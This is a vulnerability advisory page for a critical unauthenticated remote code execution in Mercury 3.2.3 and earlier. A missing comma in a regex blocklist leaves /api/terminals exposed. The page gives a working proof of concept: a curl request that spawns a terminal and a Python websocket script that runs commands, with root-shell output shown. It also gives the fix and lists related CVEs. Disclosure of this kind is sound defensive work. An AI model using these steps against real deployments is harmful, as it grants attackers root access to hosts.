CVE-2026-111057Critical· 10.0▾ MidnightMercury: Unauthenticated Remote Code Execution in /api/terminals - access control bypass
▾ Midnight zone — Critical, or high with PoC / in-the-wild
impact 55 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
A missing comma in mercury_app/block_handler.py's BLOCKED_PATTERNS list causes the blocklist to fail to cover the /api/terminals endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.
The blocklist in mercury_app/block_handler.py is defined as:
BLOCKED_PATTERNS = [
# JupyterLab UI + API
r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
r"/api/terminals(?:/.*)?",
r"/api/shutdown(?:/.*)?",
r"/files(?:/.*)?",
]
The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:
/lab...(?:/.*)?/api/terminals(?:/.*)? (the first two lines joined together)
/api/shutdown(?:/.*)?
/files(?:/.*)?
A direct request to /api/terminals does not match any of the 3 blocklist rules and is therefore not blocked, reaching Jupyter
Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.
Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default configuration.
Step 1 - spawn a terminal:
curl -i -X POST http://localhost:8888/api/terminals
Response: {"name": "1", "last_activity": "..."}
Step 2 - connect to the terminal and execute commands:
python3 -c "
import websocket, json, time
ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())
ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)
ws.settimeout(2)
try:
while True:
print(ws.recv())
except Exception:
pass
"
Observed output:
["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]
Confirms full, interactive root shell access with no authentication or prior access of any kind.
Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).
Add the missing comma so /api/terminals becomes an independent blocklist rule:
BLOCKED_PATTERNS = [
# JupyterLab UI + API
r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
r"/api/terminals(?:/.*)?",
r"/api/shutdown(?:/.*)?",
r"/files(?:/.*)?",
]
mercury >= 3.0.0, <= 3.2.3Upgrade to a patched release:
mercury 3.2.4Connected by shared product, vendor, weakness, or advisory.
CVE-2026-111059Medium· 6.1Mercury: Stored / DOM Cross-Site Scripting (XSS): mr.Markdown renders untrusted content as raw, unsanitized HTML
CVE-2026-111058Critical· 9.8Mercury: Unauthenticated Remote Code Execution via /api/kernels
CVE-2026-111755High· 8.2follow-redirects sensitiveHeaders regex escaping can expose credential headers
CVE-2016-5388High· 8.1Apache Tomcat 7.x through 7.0.70 and 8.x through 8.5.4, when the CGI Servlet is enabled, follows RFC 3875 section 4.1.18 and therefore does not protect applications from the presence of untrusted client data in the HTTP_PROXY environment…
CVE-2016-7244Medium· 5.5Microsoft Office 2007 SP3 allows remote attackers to cause a denial of service (application hang) via a crafted Office document, aka "Microsoft Office Denial of Service Vulnerability."
CVE-2025-1390Medium· 6.1The PAM module pam_cap.so of libcap configuration supports group names starting with “@”, during actual parsing, configurations not starting with “@” are incorrectly recognized as group names